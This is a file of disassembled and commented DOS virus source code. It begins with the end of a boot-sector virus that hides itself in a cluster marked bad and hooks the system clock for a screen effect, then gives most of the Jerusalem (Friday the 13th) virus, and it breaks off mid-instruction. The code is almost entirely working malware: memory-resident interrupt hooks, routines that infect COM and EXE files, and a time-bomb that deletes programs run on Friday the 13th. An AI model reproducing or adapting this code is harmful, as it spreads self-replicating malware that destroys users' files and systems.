NEXT FAT ENTRY + CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED + JBE FAT_SWITCH ; BRANCH IF NOT + RET + + ; SPARE CLUSTER FOUND - INSTALL ON DISK + +MAKE_BAD: + MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER + TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH + JNZ FIND_SECTOR ; BRANCH IF ON + AND DH,0FH ; CONVERT MARKER TO FF7H + MOV CL,4 ; BITS TO MOVE + TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY + JZ FIND_SECTOR ; BRANCH IF NOT + SHL DX,CL ; MOVE INTO POSITION +FIND_SECTOR: + OR [BX+8000H],DX ; PUT MARKER INTO FAT + MOV BX,CURFAT ; GET SECTOR NUMBER + CALL WRITE_IT_OUT ; WRITE FAT SECTOR + MOV AX,SI ; GET ENTRY NUMBER + SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER + MOV BL,NUMSEC ; GET SECTORS PER CLUSTER + XOR BH,BH ; CLEAR TOP OF REGISTER + MUL BX ; CONVERT TO SECTORS + ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER + MOV SI,AX ; SAVE REAL SECTOR NUMBER + MOV BX,0 ; SECTOR ZERO + CALL READ_IT_IN ; READ BOOT SECTOR + MOV BX,SI ; GET OUTPUT SECTOR NUMBER + INC BX ; ADDRESS TO NEXT SECTOR + CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE +PLACE_VIRUS: + MOV BX,SI ; GET OUTPUT SECTOR NUMBER + MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE + PUSH CS ; \ GET CURRENT SEGMENT + POP AX ; / + SUB AX,20H ; ADDRESS BACK TO VIRUS (2) + MOV ES,AX ; SET BUFFER ADDRESS + CALL WRITE_IT_OUT ; WRITE VIRUS (2) + PUSH CS ; \ GET CURRENT SEGMENT + POP AX ; / + SUB AX,40H ; ADDRESS BACK TO VIRUS (1) + MOV ES,AX ; SET BUFFER ADDRESS + MOV BX,0 ; SECTOR ZERO + CALL WRITE_IT_OUT ; WRITE VIRUS (1) + RET + + DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED + DB 2 ; PRCFAT - PROCESSED FAT / 256 + + ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE + +INTERRUPT_08: + TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH + JNZ FINISH_TIME ; BRANCH IF ON + OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH + MOV AX,0 ; \ SEGMENT ZERO + MOV DS,AX ; / + MOV AX,INT8OF ; SAVE INT 8 OFFSET + MOV BX,INT8SG ; SAVE INT 8 SEGMENT + MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET + MOV INT8SG,CS ; NEW INT 8 SEGMENT + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + MOV ORG08O,AX ; STORE OLD INT 8 OFFSET + MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT +FINISH_TIME: + RET + + ; INTERRUPT 10 + +DO_VIDEO: + PUSH DS + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + MOV AH,0FH ; GET VDU PARAMETERS + INT 10H ; VDU INTERRUPT + MOV BL,AL ; VDU MODE + CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE + JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED + MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE + DEC AH ; VISIBLE COLUMNS + MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1 + MOV AH,1 ; GRAPHICS MODE SWITCH ON + CMP BL,7 ; TEST FOR TELETYPE MODE + JNZ IS_IT_GRAPHICS ; BRANCH IF NOT + DEC AH ; GRAPHICS MODE SWITCH OFF +IS_IT_GRAPHICS: + CMP BL,4 ; TEST FOR GRAPHICS MODE + JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE + DEC AH ; GRAPHICS MODE SWITCH OFF +ROW_AND_COLUMN: + MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH + MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS + MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT + MOV AH,3 ; GET CURSOR ADDRESS + INT 10H ; VDU INTERRUPT + PUSH DX ; SAVE CURSOR ADDRESS + MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS + JMP SHORT VIDEO_01 + +CHARACTER_ATTRIB: + MOV AH,3 ; GET CURSOR ADDRESS + INT 10H ; VDU INTERRUPT + PUSH DX + MOV AH,2 ; SET CURSOR ADDRESS + MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS + INT 10H ; VDU INTERRUPT + MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES + CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE + JNZ WRITE_CHAR ; BRANCH IF NOT + MOV AX,8307H ; CHARACTER AND WRITE MODE +WRITE_CHAR: + MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE + MOV CX,1 ; ONLY ONCE + MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES + INT 10H ; VDU INTERRUPT +VIDEO_01: + MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT + CMP DH,0 ; IS ROW ZERO + JNZ VIDEO_02 ; BRANCH IF NOT + XOR CH,0FFH ; \ REVERSE ROW MOVEMENT + INC CH ; / +VIDEO_02: + CMP DH,18H ; IS ROW 24 + JNZ VIDEO_04 ; BRANCH IF NOT + XOR CH,0FFH ; \ REVERSE ROW MOVEMENT + INC CH ; / +VIDEO_04: + CMP DL,0 ; IS COLUMN 0 + JNZ VIDEO_05 ; BRANCH IF NOT + XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT + INC CL ; / +VIDEO_05: + CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN + JNZ VIDEO_07 ; BRANCH IF NOT + XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT + INC CL ; / +VIDEO_07: + CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT + JNZ VIDEO_09 ; BRANCH IF CHANGED + MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES + AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER + CMP AL,3 ; TEST BITS 1 AND 2 + JNZ VIDEO_08 ; BRANCH IF OFF + XOR CH,0FFH ; \ REVERSE ROW MOVEMENT + INC CH ; / +VIDEO_08: + CMP AL,5 ; TEST BITS 1 AND 3 + JNZ VIDEO_09 ; BRANCH IF OFF + XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT + INC CL ; / +VIDEO_09: + ADD DL,CL ; NEW COLUMN POSITION + ADD DH,CH ; NEW ROW POSITION + MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS + MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS + MOV AH,2 ; SET CURSOR ADDRESS + INT 10H ; VDU INTERRUPT + MOV AH,8 ; READ CHARACTER AND ATTRIBUTES + INT 10H ; VDU INTERRUPT + MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES + MOV BL,AH ; MOVE ATTRIBUTES + CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE + JNZ VIDEO_10 ; BRANCH IF NOT + MOV BL,83H ; WRITE MODE FOR GRAPHICS +VIDEO_10: + MOV CX,1 ; ONCE ONLY + MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES + INT 10H ; VDU INTERRUPT + POP DX ; RESTORE CURSOR ADDRESS + MOV AH,2 ; SET CURSOR ADDRESS + INT 10H ; VDU INTERRUPT + POP DX + POP CX + POP BX + POP AX + POP DS + DB 0EAH ; FAR JUMP TO ORIGINAL INT 8 + DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET + DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT + + DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES + DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS + DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT + DB 0 ; GRAPHM - GRAPHICS MODE SWITCH + DW 3 ; MODEAP - MODE AND ACTIVE PAGE + DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1 + + + DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H + DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H + DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H + DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH + DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H + + ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE + +CODE ENDS + + END START + + + +*************************************************************************** +--------------------------------------------------------------------------- +--------------------------------------------------------------------------- +*************************************************************************** + +The "Jerusalem" virus. +Also Called - Israeli, PLO, Friday the 13th - Version A + + + PAGE 64,132 +;-----------------------------------------------------------------------; +; THE "JERUSALEM" VIRUS ; +;-----------------------------------------------------------------------; + ; + ORG 100H ; + ; +;-----------------------------------------------------------------------; +; JERUSALEM VIRUS ; +;-----------------------------------------------------------------------; +BEGIN_COM: ;COM FILES START HERE + JMP CONTINUE ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A0103 DB 073H,055H + +MS_DOS DB 'MsDos' ; + + DB 000H,001H,015H,018H + +TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED! + + DB 000H +A0010 DB 000H + +A0011 DW 100H ;HOST SIZE (BEFORE INFECTION) + +OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC) + +OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR +OLD_24 DW 0556H,16A5H ;001B + +A_FLAG DW 7E48H ;??? + +A0021 DB 000H,000H,000H,000H,000H,000H,000H + DB 000H,000H,000H,000H + +A002C DW 0 ;A SEGMENT + + DB 000H,000H +A0030 DB 000H + +A0031 DW 0178EH ;OLD ES VALUE + +A0033 DW 0080H ; + ; +EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035 + DW 80H ;COMMAND LINE ADDRESS + DW 178EH ;+4 + DW 005CH ;FCB #1 ADDRESS + DW 178EH ;+8 + DW 006CH ;FCB #2 ADDRESS + DW 0178EH ;+12 + ; +HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043 +HOST_SS DW 347AH ;(AT TIME OF INFECTION) +HOST_IP DW 00C5H ; +HOST_CS DW 347AH ; +;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF + ; +A004B DW 0F010H ; +A004D DB 82H ; +A004E DB 0 ; + +EXE_HDR DB 1CH DUP (?) ;004F + +A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST + +HANDLE DW 0005H ;0070 +HOST_ATT DW 0020H ;0072 +HOST_DATE DW 0021H ;0074 +HOST_TIME DW 002DH ;0076 + +BLOCK_SIZE DW 512 ;512 BYTES/BLOCK + +A007A DW 0010H + +HOST_SIZE DW 27C0H,0001H ;007C +HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME + +COMMAND_COM DB 'COMMAND.COM' + + DB 1 +A0090 DB 0,0,0,0,0 + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONTINUE: ; + CLD ; + MOV AH,0E0H ;DO A ???... + INT 21H ; + ; + CMP AH,0E0H ; + JNC L01B5 ; + CMP AH,3 ; + JC L01B5 ; + ; + MOV AH,0DDH ; + MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE + MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE + ADD SI,DI ;SI = BEGINNING OF HOST CODE + MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?) + INT 21H ; + ; +L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H + ADD AX,10H ; + MOV SS,AX ;SS = TWEEKed CS + MOV SP,700H ;SP = END OF OUR CODE (VIRUS) + ; +;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF + ; + PUSH AX ;JMP FAR CS+10H:IP-100H + MOV AX,offset BEGIN_EXE - offset BEGIN_COM + PUSH AX ; + RETF ; + ; +;---------------------------------------; + ORG 0C5h ; +;---------------------------------------; + ; +BEGIN_EXE: ;EXE FILES START HERE + CLD ; + PUSH ES ; + ; + MOV CS:[A0031],ES ; + MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES + MOV CS:[EXEC_BLOCK+8],ES ; + MOV CS:[EXEC_BLOCK+12],ES ; + ; + MOV AX,ES ;TWEEK ES SAME AS CS ABOVE + ADD AX,10H ; + ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE + ADD CS:[HOST_SS],AX ; + ; + MOV AH,0E0H ; + INT 21H ; + ; + CMP AH,0E0H ; + JNC L0106 ;00F1 7313 + ; + CMP AH,3 ; + POP ES ;00F6 + MOV SS,CS:[HOST_SS] ; + MOV SP,CS:[HOST_SP] ; + JMP far CS:[HSOT_IP] ; + ; +L0106: XOR AX,AX ;0106 33C0 + MOV ES,AX ;0108 8EC0 + MOV AX,ES:[03FC] ;010A 26A1FC03 + MOV CS:[A004B],AX ;010E 2EA34B00 + MOV AL,ES:[03FE] ;0112 26A0FE03 + MOV CS:[A004D],AL ;0116 2EA24D00 + MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5 + MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB + POP AX ;0127 58 + ADD AX,10H ;0128 051000 + MOV ES,AX ;012B 8EC0 + PUSH CS ;012D 0E + POP DS ;012E 1F + MOV CX,710H ;SIZE OF VIRUS CODE + SHR CX,1 ;0132 D1E9 + XOR SI,SI ;0134 33F6 + MOV DI,SI ;0136 8BFE + PUSH ES ;0138 06 + MOV AX,0142 ;0139 B84201 + PUSH AX ;013C 50 + JMP 0000:03FC ;013D EAFC030000 + ; + MOV AX,CS ;0142 8CC8 + MOV SS,AX ;0144 8ED0 + MOV SP,700H ;0146 BC0007 + XOR AX,AX ;0149 33C0 + MOV DS,AX ;014B 8ED8 + MOV AX,CS:[A004B] ;014D 2EA14B00 + MOV [03FC],AX ;0151 A3FC03 + MOV AL,CS:[A004D] ;0154 2EA04D00 + MOV [03FE],AL ;0158 A2FE03 + MOV BX,SP ;015B 8BDC + MOV CL,04 ;015D B104 + SHR BX,CL ;015F D3EB + ADD BX,+10 ;0161 83C310 + MOV CS:[A0033],BX ; + ; + MOV AH,4AH ; + MOV ES,CS:[A0031] ; + INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS + ; + MOV AX,3521 ; + INT 21H ;GET VECTOR + MOV CS:[OLD_21],BX ; + MOV CS:[OLD_21+2],ES ; + ; + PUSH CS ;0181 0E + POP DS ;0182 1F + MOV DX,offset NEW_INT_21 ;0183 BA5B02 + MOV AX,2521 ; + INT 21H ;SAVE VECTOR + ; + MOV ES,[A0031] ;018B 8E063100 + MOV ES,ES:[A002C] ;018F 268E062C00 + XOR DI,DI ;0194 33FF + MOV CX,7FFFH ;0196 B9FF7F + XOR AL,AL ;0199 32C0 + REPNE SCASB ;019C AE + CMP ES:[DI],AL ;019D 263805 + LOOPNZ 019B ;01A0 E0F9 + MOV DX,DI ;01A2 8BD7 + ADD DX,+03 ;01A4 83C203 + MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM + PUSH ES ; + POP DS ; + PUSH CS ; + POP ES ; + MOV BX,35H ; + ; + PUSH DS ;01B1 ; + PUSH ES ; + PUSH AX ; + PUSH BX ; + PUSH CX ; + PUSH DX ; + ; + MOV AH,2AH ; + INT 21H ;GET DATE + ; + MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE" + ; + CMP CX,1987 ;IF 1987... + JE L01F7 ;...JUMP + CMP AL,5 ;IF NOT FRIDAY... + JNE L01D8 ;...JUMP + CMP DL,0DH ;IF DATE IS NOT THE 13th... + JNE L01D8 ;...JUMP + INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT + JMP L01F7 ; + ; +L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR + INT 21H ;GET VECTOR + MOV CS:[OLD_08],BX ; + MOV CS:[OLD_08],ES ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV Word ptr [A_FLAG],7E90H ; + ; + MOV AX,2508H ;SET NEW CLOCK TIC HANDLER + MOV DX,offset NEW_08 ; + INT 21H ;SET VECTOR + ; +L01F7: POP DX ; + POP CX ; + POP BX ; + POP AX ; + POP ES ; + POP DS ; + PUSHF ; + CALL far CS:[OLD_21] ; + PUSH DS ; + POP ES ; + ; + MOV AH,49H ; + INT 21H ;FREE ALLOCATED MEMORY + ; + MOV AH,4DH ; + INT 21H ;GET RETURN CODE OF A SUBPROCESS + ; +;---------------------------------------; +; THIS IS WHERE WE REMAIN RESIDENT ; +;---------------------------------------; + MOV AH,31H ; + MOV DX,0600H ;020F ; + MOV CL,04 ; + SHR DX,CL ; + ADD DX,10H ; + INT 21H ;TERMINATE AND REMAIN RESIDENT + ; +;---------------------------------------; +NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER + IRET ; + ; +;-----------------------------------------------------------------------; +; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ; +;-----------------------------------------------------------------------; +NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E + JNE N08_10 ;IF ... JUMP + ; + PUSH AX ; + PUSH BX ; + PUSH CX ; + PUSH DX ; + PUSH BP ; + MOV AX,0602H ;SCROLL UP TWO LINES + MOV BH,87H ;INVERSE VIDEO ATTRIBUTE + MOV CX,0505H ;UPPER LEFT CORNER + MOV DX,1010H ;LOWER RIGHT CORNER + INT 10H ; + POP BP ; + POP DX ; + POP CX ; + POP BX ; + POP AX ; + ; +N08_10: DEC Word ptr CS:[A_FLAG] ; + JMP N08_90 ; + MOV Word ptr CS:[A_FLAG],1 ; + ; + PUSH AX ; + PUSH CX ; + PUSH SI ; THIS DELAY CODE NEVER GETS EXECUTED + MOV CX,4001H ; IN THIS VERSION + REP LODSB ; + POP SI ; + POP CX ; + POP AX ; + ; +N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR + ; +;-----------------------------------------------------------------------; +; NEW INTERRUPT 21 HANDLER ; +;-----------------------------------------------------------------------; +NEW_21: PUSHF ;025B ; + CMP AH,0E0H ;IF A E0 REQUEST... + JNE N21_10 ; + MOV AX,300H ;...RETURN AX = 300H + POPF ; (OUR PUSHF) + IRET ; + ; +N21_10: CMP AH,0DDH ;0266 ; + JE N21_30 ;IF DDH...JUMP TO _30 + CMP AH,0DEH ; + JE N21_40 ;IF DEH...JUMP TO _40 + CMP AX,4B00H ;IF SPAWN A PROG... + JNE N21_20 ; + JMP N21_50 ;...JUMP TO _50 + ; +N21_20: POPF ; (OUR PUSHF) + JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR + ; +N21_30: POP AX ;REMOVE OUR (PUSHF) + POP AX ;? + MOV AX,100H ; + MOV CS:[000A],AX ; + POP AX ; + MOV CS:[000C],AX ; + REP MOVSB ; + POPF ; (OUR PUSHF) + MOV AX,CS:[000F] ; + JMP far CS:[000A] ; + ; +N21_40: ADD SP,+06 ;0298 ; + POPF ; (OUR PUSHF) + MOV AX,CS ; + MOV SS,AX ; + MOV SP,710H ;SIZE OF VIRUS CODE + PUSH ES ; + PUSH ES ;02A4 06 + XOR DI,DI ;02A5 33FF + PUSH CS ;02A7 0E + POP ES ;02A8 07 + MOV CX,0010 ;02A9 B91000 + MOV SI,BX ;02AC 8BF3 + MOV DI,0021 ;02AE BF2100 + REP MOVSB ;02B2 A4 + MOV AX,DS ;02B3 8CD8 + MOV ES,AX ;02B5 8EC0 + MUL Word ptr CS:[A007A] ;02B7 2EF7267A00 + ADD AX,CS:[002B] ;02BC 2E03062B00 + ADC DX,+00 ;02C1 83D200 + DIV Word ptr CS:[A007A] ;02C4 2EF7367A00 + MOV DS,AX ;02C9 8ED8 + MOV SI,DX ;02CB 8BF2 + MOV DI,DX ;02CD 8BFA + MOV BP,ES ;02CF 8CC5 + MOV BX,CS:[002F] ;02D1 2E8B1E2F00 + OR BX,BX ;02D6 0BDB + JE 02ED ;02D8 7413 + MOV CX,8000 ;02DA B90080 + REP MOVSW ;02DE A5 + ADD AX,1000 ;02DF 050010 + ADD BP,1000 ;02E2 81C50010 + MOV DS,AX ;02E6 8ED8 + MOV ES,BP ;02E8 8EC5 + DEC BX ;02EA 4B + JNE 02DA ;02EB 75ED + MOV CX,CS:[002D] ;02ED 2E8B0E2D00 + REP MOVSB ;02F3 A4 + POP AX ;02F4 58 + PUSH AX ;02F5 50 + ADD AX,0010 ;02F6 051000 + ADD CS:[0029],AX ;02F9 2E01062900 + ADD CS:[0025],AX ;02FE 2E01062500 + MOV AX,CS:[0021] ;0303 2EA12100 + POP DS ;0307 1F + POP ES ;0308 07 + MOV SS,CS:[0029] ;0309 2E8E162900 + MOV SP,CS:[0027] ;030E 2E8B262700 + JMP far CS:[0023] ;0313 2EFF2E2300 + ; +;---------------------------------------; +; IT IS TIME FOR THIS FILE TO DIE... ; +; THIS IS WHERE IT GETS DELETED ! ; +;---------------------------------------; +N21_5A: XOR CX,CX ; + MOV AX,4301H ; + INT 21H ;CHANGE FILE MODE (ATT=0) + ; + MOV AH,41H ; + INT 21H ;DELETE A FILE + ; + MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM + POPF ; (OUR PUSHF) + JMP far CS:[OLD_21] ; + ; +;---------------------------------------; +; START INFECTION ; +;---------------------------------------; +N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE... + JE N21_5A ;...JUMP + ; + MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN + MOV Word ptr CS:[A008F],0 ; + MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME + MOV word ptr CS:[HOST_NAME+2],DS ; + ; +;INFECTION PROCESS OCCURS HERE ; + PUSH AX ;034C 50 + PUSH BX ;034D 53 + PUSH CX ;034E 51 + PUSH DX ;034F 52 + PUSH SI ;0350 56 + PUSH DI ;0351 57 + PUSH DS ;0352 1E + PUSH ES ;0353 06 + CLD ;0354 FC + MOV DI,DX ;0355 8BFA + XOR DL,DL ;0357 32D2 + CMP Byte ptr [DI+01],3A ;0359 807D013A + JNE L0364 ;035D 7505 + MOV DL,[DI] ;035F 8A15 + AND DL,1F ;0361 80E21F + ; +L0364: MOV AH,36 ; + INT 21H ;GET DISK FREE SPACE + CMP AX,-1 ;0368 3DFFFF + JNE L0370 ;036B 7503 +L036D: JMP I_90 ;036D E97702 + ; +L0370: MUL BX ;0370 F7E3 + MUL CX ;0372 F7E1 + OR DX,DX ;0374 0BD2 + JNE L037D ;0376 7505 + CMP AX,710H ;0378 3D1007 + JC L036D ;037B 72F0 +L037D: MOV DX,word ptr CS:[HOST_NAME] + PUSH DS ;0382 1E + POP ES ;0383 07 + XOR AL,AL ;0384 32C0 + MOV CX,41 ;0386 B94100 + REPNE SCASB ;038A AE + MOV SI,word ptr CS:[HOST_NAME] +L0390: MOV AL,[SI] ;0390 8A04 + OR AL,AL ;0392 0AC0 + JE L03A4 ;0394 740E + CMP AL,61 ;0396 3C61 + JC L03A1 ;0398 7207 + CMP AL,7A ;039A 3C7A + JA L03A1 ;039C 7703 + SUB Byte ptr [SI],20 ;039E 802C20 +L03A1: INC SI ;03A1 46 + JMP L0390 ;03A2 EBEC + ; +L03A4: MOV CX,000B ;03A4 B90B00 + SUB SI,CX ;03A7 2BF1 + MOV DI,offset COMMAND_COM ;03A9 BF8400 + PUSH CS ;03AC 0E + POP ES ;03AD 07 + MOV CX,000B ;03AE B90B00 + REPE CMPSB ;03B2 A6 + JNE L03B8 ;03B3 7503 + JMP I_90 ;03B5 E92F02 + ; +L03B8: MOV AX,4300H ; + INT 21H ;CHANGE FILE MODE + JC L03C4 ;03BD 7205 + ; + MOV CS:[HOST_ATT],CX ;03BF ; +L03C4: JC L03EB ;03C4 7225 + XOR AL,AL ;03C6 32C0 + MOV CS:[A004E],AL ;03C8 2EA24E00 + PUSH DS ;03CC 1E + POP ES ;03CD 07 + MOV DI,DX ;03CE 8BFA + MOV CX,41 ;03D0 B94100 + REPNZ SCASB ;03D4 AE + CMP Byte ptr [DI-02],4D ;03D5 807DFE4D + JE L03E6 ;03D9 740B + CMP Byte ptr [DI-02],6D ;03DB 807DFE6D + JE L03E6 ;03DF 7405 + INC Byte ptr CS:[A004E] ;03E1 2EFE064E00 + ; +L03E6: MOV AX,3D00H ; + INT 21H ;OPEN FILE READ ONLY +L03EB: JC L0447 ; + MOV CS:[HANDLE],AX ;03ED ; + ; + MOV BX,AX ;MOVE TO END OF FILE -5 + MOV AX,4202 ; + MOV CX,-1 ;FFFFFFFB + MOV DX,-5 ; + INT 21H ;MOVE FILE POINTER + JC L03EB ; + ; + ADD AX,5 ;0400 ; + MOV CS:[A0011],AX ;?SAVE HOST SIZE + ; + MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST + MOV DX,offset A006B ; + MOV AX,CS ; + MOV DS,AX ; + MOV ES,AX ; + MOV AH,3FH ; + INT 21H ;READ FROM A FILE + ; + MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos' + MOV SI,offset MS_DOS ; + REPE CMPSB ; + JNE L0427 ; + MOV AH,3E ;IF == 'MsDos'... + INT 21H ;CLOSE FILE + JMP I_90 ;...PASS CONTROL TO DOS + ; +L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR + INT 21H ;GET VECTOR + MOV [OLD_24],BX ; + MOV [OLD_24+2],ES ; + ; + MOV DX,offset NEW_24 ; + MOV AX,2524 ;SET CRITICAL ERROR VECTOR + INT 21H ;SET VECTOR + ; + LDS DX,dword ptr [HOST_NAME]; + XOR CX,CX ; + MOV AX,4301H ; + INT 21H ;CHANGE FILE MODE +L0447: JC L0484 ; + ; + MOV BX,CS:[HANDLE] ; + MOV AH,3E ; + INT 21H ;CLOSE FILE + ; + MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE + ; + MOV AX,3D02 ; + INT 21H ;OPEN FILE R/W + JC L0484 ; + ; + MOV CS:[HANDLE],AX ;0460 2EA37000 + MOV AX,CS ;0464 8CC8 + MOV DS,AX ;0466 8ED8 + MOV ES,AX ;0468 8EC0 + MOV BX,[HANDLE] ;046A 8B1E7000 + MOV AX,5700 ;046E B80057 + INT 21H ;GET/SET FILE DATE TIME + ; + MOV [HOST_DATE],DX ;0473 89167400 + MOV [HOST_TIME],CX ;0477 890E7600 + MOV AX,4200 ;047B B80042 + XOR CX,CX ;047E 33C9 + MOV DX,CX ;0480 8BD1 + INT 21H ;MOVE FILE POINTER +L0484: JC L04C3 ;0484 723D + ; + CMP Byte ptr [A004E],00 ;0486 803E4E0000 + JE L0490 ;048B 7403 + JMP L04E6 ;048D EB57 + ; + NOP ;048F 90 +L0490: MOV BX,1000 ;0490 BB0010 + MOV AH,48 ;0493 B448 + INT 21H ;ALLOCATE MEMORY + JNC L04A4 ;0497 730B + ; + MOV AH,3E ;0499 B43E + MOV BX,[HANDLE] ;049B 8B1E7000 + INT 21H ;CLOSE FILE (OBVIOUSLY) + JMP I_90 ;04A1 E94301 + ; +L04A4: INC Word ptr [A008F] ;04A4 FF068F00 + MOV ES,AX ;04A8 8EC0 + XOR SI,SI ;04AA 33F6 + MOV DI,SI ;04AC 8BFE + MOV CX,710H ;04AE B91007 + REP MOVSB ;04B2 A4 + MOV DX,DI ;04B3 8BD7 + MOV CX,[A0011] ;?GET HOST SIZE - YES + MOV BX,[70H] ;04B9 8B1E7000 + PUSH ES ;04BD 06 + POP DS ;04BE 1F + MOV AH,3FH ;04BF B43F + INT 21H ;READ FROM A FILE +L04C3: JC L04E1 ;04C3 721C + ; + ADD DI,CX ;04C5 03F9 + ; + XOR CX,CX ;POINT TO BEGINNING OF FILE + MOV DX,CX ; + MOV AX,4200H ; + INT 21H ;MOVE FILE POINTER + ; + MOV SI,offset MS_DOS ;04D0 BE0500 + MOV CX,5 ;04D3 B90500 + REP CS:MOVSB ;04D7 2EA4 + MOV CX,DI ;04D9 8BCF + XOR DX,DX ;04DB 33D2 + MOV AH,40H ; + INT 21H ;WRITE TO A FILE +L04E1: JC L04F0 ; + JMP L05A2 ; + ; +;---------------------------------------; +; READ EXE HEADER ; +;---------------------------------------; +L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER + MOV DX,offset EXE_HDR ; + MOV AH,3F ; + INT 21H ;READ FILE + JC L053C ; + ; +;---------------------------------------; +; TWEEK EXE HEADER TO INFECTED HSOT ; +;---------------------------------------; + MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO + MOV AX,[EXE_HDR+14] ; SS + MOV [HOST_SS],AX ; + MOV AX,[EXE_HDR+16] ; SP + MOV [HOST_SP],AX ; + MOV AX,[EXE_HDR+20] ; IP + MOV [HOST_IP],AX ; + MOV AX,[EXE_HDR+22] ; CS + MOV [HOST_CS],AX ; + MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS) + CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512 + JZ L051B ;IF FILE SIZE==0...JMP + DEC AX ; +L051B: MUL Word ptr [BLOCK_SIZE] ; + ADD AX,[EXE_HDR+2] ; + ADC DX,0 ;AX 